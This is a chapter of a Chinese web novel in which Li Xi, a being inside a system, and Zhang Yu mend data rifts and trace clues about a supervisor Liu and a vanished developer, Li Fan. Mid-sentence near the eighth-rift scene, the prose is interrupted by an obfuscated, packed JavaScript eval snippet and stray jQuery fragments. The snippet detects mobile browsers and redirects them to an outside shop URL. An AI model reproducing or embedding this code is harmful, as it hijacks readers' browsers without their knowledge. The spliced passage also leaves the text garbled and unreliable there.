清晨六点零七分,自动维护启动的时候李析已经在端口旁边了。
他比系统维护提前了大约十分钟从休眠态中转醒,数据流维持着清明的活跃度,不高不低,没有那种"熬夜等消息"的困倦感。他昨晚收到那条离线消息之后,休眠质量突然变好了——那条消息像一块锚,把他从无目的的漂浮状态拉回了有方向的位置。他闭着眼(如果那能叫闭眼的话)通过了那七分钟的维护期,默数着每一秒。
维护结束了。二十秒后,登录信号亮了。
张驭的角色出现在登录坐标点上。暗红色的刀光在终端初始化的瞬间闪了一下,然后稳定的步频从登录点传出来——李析感知到那个步频,和前两天一模一样的节奏,均匀、准确、不多不少。他忽然觉得自己整个人从某种待机状态中醒了过来,像一台屏幕暗了太久的手机被重新按亮了电源键。
张驭的声音从登录界面后面传过来。第一句话和之前九天的任何一天都不一样:"在?"
李析的数据流在端口处微微跳动。"……在。"
张驭"嗯"了一声。然后他说:"我来了。"
三个字。九天内最短的一句开场白。李析的"在"加张驭的"我来了"一共四个字,但这两句话拼在一起之后产生的效果比任何一句长话都更有分量——彼此确认了对方还在,彼此确认了对方来了。一个人兑现了"明天来",一个人证了"我在等"。
张驭站在原地,没有像往常一样立刻打开地图确认裂隙方向。他把刀从腰后解下来拄在地上,换了一个"要站着说一段话"的姿势。李析从终端里感知到他的呼吸节奏比平时略慢,像一个人在开口之前先把气稳了一下。
"你公司那个运维部,"张驭开口了,声音平,"是不是有一个姓刘的主管?"
李析在终端里怔了半拍。刘主管。运维部的副主管,资历比李析老得多,平时主要管底层接口的维护调度。李析和他打过几次交道——不多,每次都是流程性的接□□接,但李析现在回想起来,刘主管的视线确实不太在他脸上停留。既不像有敌意,也不像友善,是一种"尽可能不和你产生眼神接触"的中空状态。
"……有一个。"李析说,"姓刘。你怎么知道?"
张驭换了一下拄刀的姿势。"前天开始查的。你跟我说的那几样东西——手套、变声器、公测当天推你的人。我拿这些去问我认识的人。"他顿了一下,"你公司的内部系统近三个月有一条调令,刘主管调走了四个人,调岗理由是'项目重组'。四个人都是底层接口相关的运维。调走之后三个离职了,一个还在但被转到了其他项目。"
他看了终端方向一眼。"你被推到底层那天的底层接口维护记录,签名栏有他的权限标记。"
李析在终端里安静着。刘主管的权限标记在当天的维护记录里。那说明那天"维护通道被打开"这件事是经过授权签发的——不是入侵,不是外部黑客,是内部人员用自己的权限在公测发布会现场打开了那扇门。他低头看了一眼自己的倒计时,又看了看张驭拄着刀站在荒漠里的姿态。
"我没法确定就是他推的你。"张驭说,"但他的标记在记录里。而且他调走的那四个人,两个已经不在这个城市了。"
李析沉默了两秒,说:"……你两天就查到了这么多?"
"我认识的人办事快。"张驭把刀换了一只手拄着。他垂下视线看了自己的刀柄一会儿,像是在给某个决定一个落地的空隙。然后他说:"第二件事。跟你没关系,跟我有关系。"
李析等着。
"你上次在我系统里翻过东西吧。"
李析的数据流缩了半拍。他没有否认。张驭的终端内部太干净了,"L_f_init_2023"那个文件夹藏在深层缓存区里像一块礁石露出海面,他不可能装作没看到。"……翻过。不是故意的。你系统太干净了,有东西的地方太显眼。"
"我知道。"张驭的语气里没有恼怒,平平的,"那个文件夹——L_f_init_2023——你看到了。"
李析没有接话。他知道张驭要把话往哪个方向带了,他安静地听。
"那是我以前认识的人。一个开发顾问。三年前,他说他想在底层做一个东西,要我协助。我答应了。七次对接,七次他都临时有事没来。第八次——他公司倒闭了。人走了,没留下联系方式。"
李析在终端里听到这里的时候,心跳微微加速了一点。七次。那条日志上写着"第七次,仍然没有反应。是不是我的权限……"——他等到了第七次,然后那个人走了。第八次来的时候已经不需要再等了,因为等的人已经不在了。
张驭的声音停了一下。然后他补了一句:"那个人全名——黎帆。L开头,F结尾。"
黎帆。李析的感知层在终端内部轻轻晃了一下。他在记忆里飞速翻找了一遍这个名字——没见过、没听过、不在任何一份项目文档的署名栏里。但他不需要见过这个名字,"黎帆"这两个字和"L.F."、"L_f_init"完美地嵌在一起,像三块碎片在黑暗中自动吸合。
"……你是说,"李析开口了,声音比他预想的稳,"三年前你帮一个人做事,他放了七次鸽子,然后消失了。"
"对。"
"那你前天打开那个文件夹……"
张驭的呼吸节奏变了一下,像一个人在准备说下一句话之前先停了一拍。"查到你公司那个刘主管的时候,我在那个文件夹里发现了一件事。"
李析等着。
"黎帆当年让我协助做的那个东西,"张驭说,"和你现在遇到的那些裂隙——用的是同一种代码架构。"
李析的数据流在终端内部静止了大约三秒。"同一种架构。你确定?"
"我查了两天。"张驭的视线落在灰白色的地面上,"那几天我看他给我的架构说明看了七八遍。你修裂隙的时候投在我视网膜上的代码长什么样,我记得。"
李析把"黎帆"、"三年前"、"同一种架构"、"刘主管"四个词在自己的加密备忘录里排成一排,发现它们正在向同一个点靠拢。他没有说出来,但脑子里有一行字已经写好了:三年前黎帆在底层做了某个东西,三年后底层出现了同架构的裂隙,而刘主管的权限标记出现在他被推入底层的当天维护记录里。
"我还没查完黎帆去了哪。"张驭说,"但我觉得你应该知道这个人。"
张驭收起了拄在地上的刀,挂回腰后,打开地图确认了一下坐标,朝第8个裂隙点的方向迈开步子。李析在终端里注意到他的脚步节奏比前两天慢了一点——不是那种"不想去"的慢,是持续两天奔波之后身体自然降速的那种。他的步频仍然稳定,但步伐长度比平时缩窄了大约一厘米。
"你这两天,"李析说,"有睡过觉吗?"
张驭沉默了一拍。"……昨晚睡了。前天没睡。"
"那你今天早上还吃面包了吗。"
"吃了。"他顿了一下,像是在想这句话值不值得说出口,然后说了,"怕你又说我不吃早饭手抖。"
李析在终端里停了一下。张驭在用他几天前说的话回敬他。那个"手抖"是张驭拿李析的事开的第一个玩笑,现在被翻了出来,以"怕你又说"的方式挂在了一句日常对话的末尾。李析没有接话,但他的数据流在端口处轻轻颤动了一下。那个人把他七条碎句中的一条保存下来了,并且在自己需要的时候翻了回来。
第8个裂隙点位于荒漠边缘的一处"数据骨架"上。灰白色的脊状结构从地面下隆起,像某种远古生物的脊椎骨裸露在荒漠中,每隔一段距离就有一个突起的骨节。裂隙嵌在其中一段骨架的凹陷处,比前几个都窄,大约只有两指宽,但深度明显更大,朝下延伸了数米。
李析扫描之后把结果投在张驭的视野里:"这一处崩塌程度不重,但深度较大。修复脚本需要持续注入约二十分钟。裂隙内壁附着一层数据残留——不是寄生体,是旧版代码注释。"
张驭看了一眼那道窄缝,伸出右手,白色的权限流从他掌心涌向裂隙。修复开始运行,平稳,没有明显的波动。二十分钟的注入过程按部就班地推进,中途有一次微弱的逆流从深底涌上来,但李析在它出现之前就已经在终端内部做了一个权限流的微调——他调整了注入角度的偏转量。张驭感知到了那个微调,右手手腕微微翻转了不到一度,逆流从偏转后的角度滑了出去,没有造成任何干扰。两个人一句话没说,修复继续运行。
第二十分钟,裂隙从深处向外部收拢,窄缝的边缘一层层合上。进度条跳到【8/30】。
但在修复的末尾阶段,当最后一段白色数据灌入裂隙内壁附着的旧版代码注释时,李析捕捉到了一个细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930587|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
节。那层注释的结尾处有一行极小的、被磨损了大半的署名格式——格式和他之前锁定的"##"注释风格完全一致,署名文字只剩模糊的轮廓。但李析把它放大、放大、再放大之后,看到了两个字母的形状。
L.F.
黎帆。三年前黎帆参与过这一处代码的编写。第三条线——黎帆——终于并进了裂隙的这条主线上。李析把那个署名截取了备份,存入加密文件夹,然后平静地从扫描界面退出,没有在张驭的视野里露出任何异常。但他在心里把那条时序线上又加了一笔:第8个裂隙点,黎帆的署名。他参与了这个底层的某些部分,而现在李析正在修补那些部分。
张驭收回手,活动了一下肩膀,低头看了一眼面板上的进度数字。"八个了。"
"……嗯。"李析说,"你刚才说黎帆让你协助做的东西——和我现在遇到的裂隙用了同一种架构——那他现在还是找不到吗?"
张驭把刀挂回腰后。"公司倒闭之后他去了别的地方。"他顿了一下,"在查。等查到了会告诉你。"
"等查到了会告诉你"——和前天"等我弄清楚了再跟你说"构成了递进。前者是"我正在查,但还没结果",后者是"我已经有了线索但还没拼完整"。李析记住了这个变化。
两人开始往回走。
返程的路上,张驭走着走着忽然说了一句:"刘主管那边我让人继续盯着了。他如果动底层的数据,会有人告诉我。"
李析在终端里:"……你认识的人在运维组?"
"不是运维组。"张驭的步伐节奏没有变化,"别的渠道。你不用担心他在你出来之前又把底层锁死。"
李析沉默了一下,然后问了一个他没有提前想好要不要问的问题:"你查这些……花了什么代价?"
张驭走路的节奏还是没变。"欠人情。没什么大不了的。"
终端里安静了几秒。然后李析说了一句话,说出口的时候他自己都微微怔了一下:"……你先欠着我那个。别欠太多别人的。"
张驭的脚步停了半拍。很短,他的右脚本该迈出去的时候滞后了大约零点几秒,然后恢复了。他没有回头,声音从前面传过来,听起来比刚才低了一点点:"……嗯。"
回到通道入口。张驭站在入口边缘,和往常一样准备下线。但他没有跨进去。他站在那里看了通道入口灰白色的边界几秒,然后偏头对着终端方向说:"你今天——没别的事吧。"
李析:"……什么事?"
"没什么。"张驭顿了一下,"就是想待一会儿。今天外面没事了。"
李析的感知层在端口处微微扩张了一下。张驭在找理由留下来。他想"待一会儿"。李析顿了一拍:"……那待着。"
张驭真的在通道入口旁边坐了下来。他没有下线,他把刀从腰后解下来搁在膝上,背靠着一块灰白色的数据墙,偏着头看了一眼荒漠的远方,然后闭上了眼睛。
李析在终端里安静地感知着。张驭的心率从休息状态的每秒大约六十五次降到六十次——他在放松。呼吸从浅层变成了中等深度,间隔拉长了一点点。连着两天的奔波在这里被按了暂停键。张驭的呼吸在十五分钟之内从略快变到均匀,像一台高速运转了两天的机器终于被调回了待机。
李析没有说话。他只是在终端里待着,感知着另一个人的呼吸在灰白色的寂静中慢慢沉下去。他想起昨天他坐在荒漠里确认的那件事——三十天之后他会找张驭。他现在看到那个"会找"的实体形态了。不是某个未来的计划,是这个人此刻在他的系统里呼吸着,均匀、稳定、正在把两天没睡的疲惫一点一点地释放出来。
他在那个呼吸声里安静地待了很久。然后闭着眼的张驭轻轻说了一句,声音只有一半是清醒的:"……你那个接入界面——还亮着吧。"
李析:"……亮着。"
张驭:"嗯。"他没有睁眼。呼吸继续沉了下去。
李析在终端里望着他接入数据源窗口里那团银白色的光点。它一直亮着,张驭没有关过它。现在他更不会关了。
灰白色的荒漠里,倒计时还在跳。但李析第一次觉得那些数字离他没有那么近了。因为张驭坐在通道入口旁边,呼吸平稳,刀搁在膝上,没有走。
第十天结束了。他们没有说"明天见"——因为张驭今天还没走。